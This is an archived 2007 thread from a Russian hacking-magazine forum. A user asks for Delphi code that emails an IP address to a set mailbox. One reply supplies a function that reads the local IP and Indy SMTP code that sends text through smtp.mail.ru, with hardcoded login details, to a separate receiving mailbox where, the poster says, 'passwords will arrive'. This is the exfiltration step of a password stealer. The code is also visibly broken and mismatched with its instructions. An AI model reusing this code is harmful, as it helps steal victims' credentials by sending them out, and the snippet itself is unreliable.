Форумы на Хакер

Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.

Подскажите процедурку для DELPHI или ссылочку

Пользователи, просматривающие топик: none

Зашли как: Guest

Все форумы >> [Компилируемые языки] >> Подскажите процедурку для DELPHI или ссылочку

Имя

Сообщение

<< Старые топики Новые топики >>

Подскажите процедурку для DELPHI или ссылочку - 2007-11-05 10:46:00.806666

Cannibal666

Сообщений: 59
Оценки: 0
Присоединился: 2007-01-09 19:18:48.060000

Очень нужна процедура Каторая передавала-бы IP-адрес на заданное мыло ;или ссылка по данной информации очень буду благодарен за помощь!!!!!!!!!

Post #: 1

RE: Подскажите процедурку для DELPHI или ссылочку - 2007-11-05 14:10:29.933333

o_OBallers

Сообщений: 54
Оценки: 0
Присоединился: 2007-10-11 08:05:42.076666

function GetLocalIP: String;
 const WSVer = $101;
 var
 &nbsp; wsaData: TWSAData;
 &nbsp; P: PHostEnt;
 &nbsp; Buf: array [0..127] of Char;
 begin
 &nbsp; Result := '';
 &nbsp; if WSAStartup(WSVer, wsaData) = 0 then begin
 &nbsp;&nbsp;&nbsp; if GetHostName(@Buf, 128) = 0 then begin
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; P := GetHostByName(@Buf);
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if P &lt;&gt; nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
 &nbsp;&nbsp;&nbsp; end;
 &nbsp;&nbsp;&nbsp; WSACleanup;
 &nbsp; end;
 end;


 var sm:TidSmtp;
 &nbsp;&nbsp;&nbsp; m:TidMessage;
 begin
  m:=TIdMessage.create(form1);
 m.From.Text:=от кого;
 m.Recipients.Add;
 m.Recipients.Items[0].Text:='&lt;nnn@mail.ru&gt;';
 m.Subject:=Тема;
 m.Body.Text:=memo1.Text;//тело сообщения
 sm:=tidsmtp.Create(form1);
 sm.AuthenticationType := atLogin;
 sm.Host:=smtp.mail.ru;
 sm.Username:=demokkk;
 sm.Password:=111111;
 sm.Connect();
 if sm.Connected then
 begin
 sm.Send(M);
 end;
 sm.Disconnect;
 att.Free;
 sm.Free;
 end;

Регистрируешь два email [email=demonkkk@mail.ru]demonkkk@mail.ru[/email] с паролем 111111 и [email=nnn@mail.ru]nnn@mail.ru[/email] на последней тебе будут приходить пароли.

Post #: 2

RE: Подскажите процедурку для DELPHI или ссылочку - 2007-11-07 15:17:50.550000

Cannibal666

Сообщений: 59
Оценки: 0
Присоединился: 2007-01-09 19:18:48.060000

Че-то не получается…вернее не очень врубился в самом тексте

quote:

var sm:TidSmtp;
   m:TidMessage;
begin
m:=TIdMessage.create(form1);
m.From.Text:=от кого;
m.Recipients.Add;
m.Recipients.Items[0].Text:='<nnn@mail.ru>';
m.Subject:=Тема;
m.Body.Text:=memo1.Text;//тело сообщения
sm:=tidsmtp.Create(form1);
sm.AuthenticationType := atLogin;
sm.Host:=smtp.mail.ru;
sm.Username:=demokkk;
sm.Password:=111111;
sm.Connect();
if sm.Connected then
begin
sm.Send(M);
end;
sm.Disconnect;
att.Free;
sm.Free;
end;

Post #: 3

RE: Подскажите процедурку для DELPHI или ссылочку - 2007-11-07 15:35:11.286666

o_OBallers

Сообщений: 54
Оценки: 0
Присоединился: 2007-10-11 08:05:42.076666

Тебе что сразу такую процедуру написать, или дашь ТЗ и я тебе на форуме на пишу всё что надобно. Скачай с сайта http://delphiworld.narod.ru программу, и архивы, наизанятнейшая вешь вам скажу я многие вопросы сразу же отпадут. Если не получится пиши сюда что иммено не полилось с полным исходником.

Post #: 4

Страниц: [1]

Все форумы >> [Компилируемые языки] >> Подскажите процедурку для DELPHI или ссылочку

Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.